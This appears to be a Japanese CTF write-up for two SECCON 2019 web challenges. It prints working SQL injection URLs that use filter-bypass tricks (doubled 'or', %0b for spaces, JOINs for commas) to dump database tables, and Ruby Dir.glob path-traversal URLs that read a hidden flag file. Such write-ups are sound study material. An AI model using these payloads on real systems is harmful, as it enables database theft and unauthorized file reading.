今年も SECCON 2019 Online CTF に参加しました。
自分は web_search (212 pt) と fileserver (345 pt) を解いたのでその Write-up を書きます。
web_search
いかにも SQLi できそうな感じの Web サイト
やることは UNION Based SQLi なのですが、いくつか制約があります。
-
or
という文字列が取り除かれる - スペースが使えない
- カンマ
,
が使えない
一つ目の or
が使えないのは oorr
に置き換えればバイパスできます。
二つ目のスペースが使えない問題は、いくつか対応法があるみたいですが、自分は %0b
(タブ文字)で代用しました。
ここまでで、UNION する際に必要なカラム数は取得できます。
http://web-search.chal.seccon.jp/?q=' %0b OORRDER %0b BY %0b 3 ;#
ORDER BY
の値を 1, 2, ... と増やしていった結果、4 でエラーが発生したのでカラム数は 3 だとわかります。
さて、三つ目のカンマが使えない問題ですが、https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ を参考にするとバイパスできることがわかりました。
あとはいつも通りで、まずは information_schema から必要な情報を SQLi で抜き出します。
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b table_name %0b FROM %0b infoorrmation_schema.tables)b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'flag')b %0b JOIN %0b (SELECT %0b 2)c;#
flag
テーブルから FLAG を抜き出します。
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b piece %0b FROM %0b seccon_sqli.flag)b %0b JOIN %0b (SELECT %0b 2)c;#
これで FLAG が手に入るかと思ったら、一部( You_Win_Yeah}
)しか手に入らなかった。
仕方ないので、 articles
テーブルの方も見てみる。
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b column_name %0b FROM %0b infoorrmation_schema.columns %0b WHERE %0b table_name %0b = %0b 'articles')b %0b JOIN %0b (SELECT %0b 2)c;#
http://web-search.chal.seccon.jp/?q=' %0b UNION %0b SELECT %0b * %0b FROM %0b (SELECT %0b 1)a %0b JOIN %0b (SELECT %0b description %0b FROM %0b seccon_sqli.articles)b %0b JOIN %0b (SELECT %0b 2)c;#
前半部分( SECCON{Yeah_Sqli_Success_
)が手に入り、繋げると FLAG になる。
SECCON{Yeah_Sqli_Success_You_Win_Yeah}
fileserver
Ruby の標準ライブラリ WEBrick で Web サーバが立ち上がっている。
req.path
の最後が /
の場合、そのディレクトリ配下のファイルの一覧が返ってきます。
files = Dir.glob(".#{req.path}*")
そうでない場合、マッチしたファイルの中身が返ってきます。
matches = Dir.glob(req.path[1..])
file = File.open(matches.first, 'rb')
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
res.body = file.read(1e6)
FLAG は /tmp/flags/#{SecureRandom.alphanumeric(32)}.txt
にあるので、ディレクトリトラバーサルする必要があります。
FileUtils.cp('flag.txt', "/tmp/flags/#{SecureRandom.alphanumeric(32)}.txt")
解答
Dir.glob()
ですが、 docs.ruby-lang.org を見ると次のように書いてあります。
パターンを文字列で指定します。 パターンを "\0" で区切って 1 度に複数のパターンを指定することもで きます。 パターンの区切りには "\0" のみ指定できます。 配列を指定することで複数のパターンを指定できます。
よって、以下のようにすると /tmp/flags/*
のファイル一覧を返してくれます。
http://fileserver.chal.seccon.jp:9292/hoge\0/tmp/flags/
FLAG のファイル名が手に入ったので、同様にファイルの中身を取得しようとすると、以下の箇所でエラー(ヌル文字が含まれているという内容)が発生します。
res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
パスのチェックを行う is_bad_path
メソッドをうまくバイパスすると FLAG が手に入る。
( [
と {
の優先順位の違いから、[
を使うと {}
が使える)
http://fileserver.chal.seccon.jp:9292/{/tmp/flags/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.txt,[}
SECCON{You_are_the_Globbin'_Slayer}